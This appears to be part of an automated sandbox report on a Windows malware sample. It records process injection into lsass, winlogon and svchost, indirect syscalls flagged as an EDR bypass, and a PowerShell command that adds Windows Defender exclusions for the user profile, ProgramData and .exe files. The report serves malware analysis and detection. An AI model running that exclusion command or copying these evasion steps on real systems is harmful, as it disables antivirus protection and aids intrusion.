Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_00000150E93ED2A4
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_00000150E93E7D90
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE97D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000267FCE97D90
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE9D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000267FCE9D2A4
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B52D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_000002359B52D2A4
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B527D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_000002359B527D90
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_00000225DC647D90
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC64D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_00000225DC64D2A4

Source: C:\PerfDll\hyperProviderSavesinto.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAF190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Recovery\RuntimeBroker.exe base: 1300000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5644B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108BCE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166940000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E29CE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: C350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22399A10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BFFC960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FBA3250000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1D4C2220000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1F2989C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 25EEFAE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23839DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 17644530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B42C420000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BCF4530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1B0BB950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\PerfDll\hyperProviderSavesinto.exe base: 15C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 216D26C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 1E7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe base: 2D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Recovery\WmiPrvSE.exe base: 1B4E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Recovery\WmiPrvSE.exe base: 13C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\cmd.exe base: 150E9040000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 267FCE60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\PING.EXE base: 2359B4F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Recovery\RuntimeBroker.exe base: 1BD70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Recovery\RuntimeBroker.exe base: 1360000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: BB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe base: E60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 289066A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E205C10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E2066A0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

46_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC61273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C0AB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 612D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF19273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8799273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5377273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D53273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 67D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5B38273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EBFD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5904273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9E7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7316273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 130273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4E86273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 473C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6F9D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 83BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D3F7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A415273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BDF3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C026273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C9F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 644B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B2A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4F6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F535273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C257273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8BCE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6694273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D57273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC74273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F389273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A653273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29CE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B15273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F48273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C35273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E26273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D593273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC69273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7897273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A64273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 641A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4935273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60D8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E815273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5234273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 99A1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC96273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A325273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C222273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 989C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EFAE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 39DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4453273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2C42273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F453273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BB95273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D26C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1E7C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E904273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FCE6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9B4F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1BD7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 136273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5C1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66A273C

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateValueKey: Indirect: 0x2DC293D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateValueKey: Indirect: 0x2DC290E
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtQuerySystemInformation: Indirect: 0x1ED3205D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateValueKey: Indirect: 0x1ED3290E
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtDeviceIoControlFile: Indirect: 0x1ED32B9D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateValueKey: Indirect: 0x1ED3293D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtQuerySystemInformation: Indirect: 0x1ED32F57
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtResumeThread: Indirect: 0x1ED3231E
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateKey: Indirect: 0x1ED32842
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	NtEnumerateKey: Indirect: 0x1ED32875

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Recovery\RuntimeBroker.exe base: 1300000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000 value starts with: 4D5A
